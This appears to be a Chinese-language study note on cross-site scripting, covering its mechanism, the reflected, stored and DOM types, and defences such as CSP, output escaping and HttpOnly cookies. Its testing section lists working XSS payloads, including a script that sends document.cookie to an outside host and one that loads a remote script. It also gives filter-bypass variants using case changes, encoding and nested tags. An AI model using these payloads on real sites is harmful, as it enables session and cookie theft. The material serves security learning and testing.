XSS攻击
一、原理:
Cross Site Script(跨站脚本攻击),为了和样式表区分缩写为XSS。服务端直接将用户输入输出到页面中,类似于html/JS注入攻击,使用户访问页面时执行恶意脚本,从而盗取session、cookie,重定向用户等其他攻击;影响客户端浏览用户;
参考:https://mp.weixin.qq.com/s/Q75OWVUcrwokEkir27bSOA
二、分类:
1、反射性(非持久型):输入的恶意内容反射到页面中;需要诱使用户“点击”一个恶意URL链接;
特征:
1)即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;
2)攻击者需要诱骗点击,必须要通过用户点击链接才能发起;
3)反馈率低,所以较难发现和响应修复;
4)盗取用户敏感保密信息;
2、存储型(持久型):不需要诱骗点击,直接把恶意脚本植入到服务器端,用户访问网页就执行恶意代码(一般存在于 Form 表单提交等交互功能,如文章留言,提交文本信息);
满足攻击的条件:
1)POST 请求提交表单后端没做转义直接入库;
2)后端从数据库中取出数据没做转义直接输出给前端;
3)前端拿到后端数据没做转义直接渲染成 DOM;
3、DOM型(非持久型):通过修改页面的DOM(Document Object Model)节点;可以不经过服务器,直接由前端的js触发
三、防御:
1、CSP:本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行,只要开发者配置了正确的规则,那么即使网站存在漏洞,攻击者也不能执行它的攻击代码,并且 CSP 的兼容性也不错;通常可以通过两种方式来开启 CSP:
1)设置 HTTP Header 中的 Content-Security-Policy;
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
2)设置 meta 标签的方式;
2、转义字符:用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义;但是对于显示富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉,对于这种情况,通常采用白名单过滤的办法;例如:示例使用了 js-xss 来实现,可以看到在输出中保留了 h1 标签且过滤了 script 标签
3、HttpOnly Cookie:这是预防XSS攻击窃取用户cookie最有效的防御手段;Web应用程序在设置cookie时,将其属性设为HttpOnly。
四、测试
1、<img/src=x>、<svg/οnlοad=alert(1)>、<script>alert(1)</script>、<!--等等;
3、<script>new Image().src = "http://txt.me/log.php?c=" + encodeURI(document.cookie);</script>
或者利用短链接的方式<script src =//txt.me/1.js></script>
2、对于应用程序实施的过滤xss漏洞,我们可以尝试通过各种方法避开:
1)”><script >alert(document.cookie)</script>对于完整的字符串过滤,可以加个空格跳过;
2)”><sCrIpt>alert(document.cookie)</script>也可以尝试大小写是否有区别;
3)”%3e%3cscript%3ealert(document.cookie)</script>将<>进行编码后尝试跳过;
4)”><sc<script>ript>alert(document.cookie)</script>如果只对一个script字符串过滤,可以尝试嵌套的方法避开过滤;